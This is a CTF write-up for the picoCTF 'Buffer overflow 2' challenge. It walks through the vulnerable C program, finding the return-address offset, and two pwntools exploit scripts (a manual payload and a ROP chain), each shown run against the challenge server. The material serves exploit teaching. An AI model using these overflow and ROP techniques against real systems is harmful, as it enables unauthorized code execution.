Buffer overflow 2
- Solver
- Authors
- Sanjay C., Palash Oswal
- Category
-
Binary Exploitation (pwn) - Points
- 300
- Files
- vuln vuln.c
Control the return address and arguments.
This time you’ll need to control the arguments to the function you return to! Can you get the flag from this program? Connect with it using: $ nc saturn.picoctf.net [PORT]
Warning
Warning: This is an instance-based challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic.
$ checksec vuln[*] '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
Let’s check out our source code:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
#define BUFSIZE 100#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); }
fgets(buf,FLAGSIZE,f); if (arg1 != 0xCAFEF00D) return; if (arg2 != 0xF00DF00D) return; printf(buf);}
void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf);}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid(); setresgid(gid, gid, gid);
puts("Please enter your string: "); vuln(); return 0;}
Looking at the win()
function, we can see that two arguments are required that need to be passed into the function to receive the flag. Two guard clauses lay above the flag print:
void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); }
fgets(buf,FLAGSIZE,f); if (arg1 != 0xCAFEF00D) return; if (arg2 != 0xF00DF00D) return; printf(buf);}
The goal is simple: call win(0xCAFEF00D, 0xF00DF00D)
! We’ll be doing it the hard way (for a learning experience), in addition to a more advanced easy way. Let’s get started.
I: The Hard Way
We can apply a lot from what we learned in Buffer overflow 1. The first thing we should do is find the offset, which requires no hassle with pwntools helpers! Although we’ll get actual number here, I won’t include it in the final script for the sake of not leaving out any steps. Simply segfault the process with a cyclic string, read the core dump’s fault address ($eip
) and throw it into cyclic_find()
:
$ python3 -q>>> from pwn import *>>> elf = context.binary = ELF('./vuln')[*] '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)>>> p = process(elf.path)[x] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln'[+] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln': pid 2777>>> p.sendline(cyclic(128))>>> p.wait()[*] Process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' stopped with exit code -11 (SIGSEGV) (pid 2777)>>> core = Corefile('./core')[x] Parsing corefile...[*] '/home/kali/ctfs/pico22/buffer-overflow-2/core' Arch: i386-32-little EIP: 0x62616164 ESP: 0xffafca40 Exe: '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' (0x8048000) Fault: 0x62616164[+] Parsing corefile...: Done>>> cyclic_find(0x62616164)112
The next thing we need to know about is the way functions are laid out on the stack. Let’s recall the diagram I drew out earlier:
If we want to call a function with parameters, we’ll need to include the base pointer alongside a return address, which can simply be main()
. With this, we can basically copy our script over from Buffer overflow 1 with a few tweaks to the payload:
#!/usr/bin/env python3from pwn import *
elf = context.binary = ELF('./vuln', checksec=False) # sets elf objecthost, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path) # creates local process w/ elf objectp.sendline(cyclic(128)) # sends cyclic pattern to crashp.wait() # sigsegv generates core dumpcore = Coredump('./core') # parses core dump file
payload = flat([ {cyclic_find(core.eip): elf.symbols.win}, # pads win address elf.symbols.main, # return address 0xCAFEF00D, # parameter 1 0xF00DF00D # parameter 2])
if args.REMOTE: p = remote(host, port)else: p = process(elf.path)
p.sendline(payload)p.interactive()
Let’s run it on the remote server:
$ python3 buffer-overflow-2.py REMOTE[+] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln': pid 3988[*] Process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' stopped with exit code -11 (SIGSEGV) (pid 3988)[+] Parsing corefile...: Done[*] '/home/kali/ctfs/pico22/buffer-overflow-2/core' Arch: i386-32-little EIP: 0x62616164 ESP: 0xffca3290 Exe: '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' (0x8048000) Fault: 0x62616164[+] Opening connection to saturn.picoctf.net on port [PORT]: Done[*] Switching to interactive modePlease enter your string:\\xf0\\xfe\\xcadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaaavaaawaaaxaaayaaazaabbaabcaab\\x96\\x92\\x04r\\x93\\x04picoCTF{argum3nt5_4_d4yZ_[REDACTED]}
II: The Easy Way
But… what if you wanted to be an even more lazy pwner? Well, you’re in luck, because I present to you: the pwntools ROP object! By throwing our elf object into ROP()
it transforms, and we can use it to automatically call functions and build chains! Here it is in action:
#!/usr/bin/env python3from pwn import *
elf = context.binary = ELF('./vuln' checksec=False) # sets elf objectrop = ROP(elf) # creates ROP objecthost, port = 'saturn.picoctf.net', [PORT]
p = process(elf.path) # creates local process w/ elf objectp.sendline(cyclic(128)) # sends cyclic pattern to crashp.wait() # sigsegv generates core dumpcore = Coredump('./core') # parses core dump file
rop.win(0xCAFEF00D, 0xF00DF00D) # Call win() with argspayload = fit({cyclic_find(core.eip): rop.chain()}) # pad ROP chain
if args.REMOTE: p = remote(host, port)else: p = process(elf.path)
p.sendline(payload)p.interactive()
Let’s run it on the remote server:
$ python3 buffer-overflow-2-automated.py REMOTE[*] Loaded 10 cached gadgets for './vuln'[+] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln': pid 4993[*] Process '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' stopped with exit code -11 (SIGSEGV) (pid 4993)[+] Parsing corefile...: Done[*] '/home/kali/ctfs/pico22/buffer-overflow-2/core' Arch: i386-32-little EIP: 0x62616164 ESP: 0xffd07fc0 Exe: '/home/kali/ctfs/pico22/buffer-overflow-2/vuln' (0x8048000) Fault: 0x62616164[+] Opening connection to saturn.picoctf.net on port [PORT]: Done[*] Switching to interactive modePlease enter your string:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaab\\x96\\x\\xf0\\xfe\\xcapicoCTF{argum3nt5_4_d4yZ_[REDACTED]}$ [*] Got EOF while reading in interactive
We’ve successfully called a function with arguments through buffer overflow!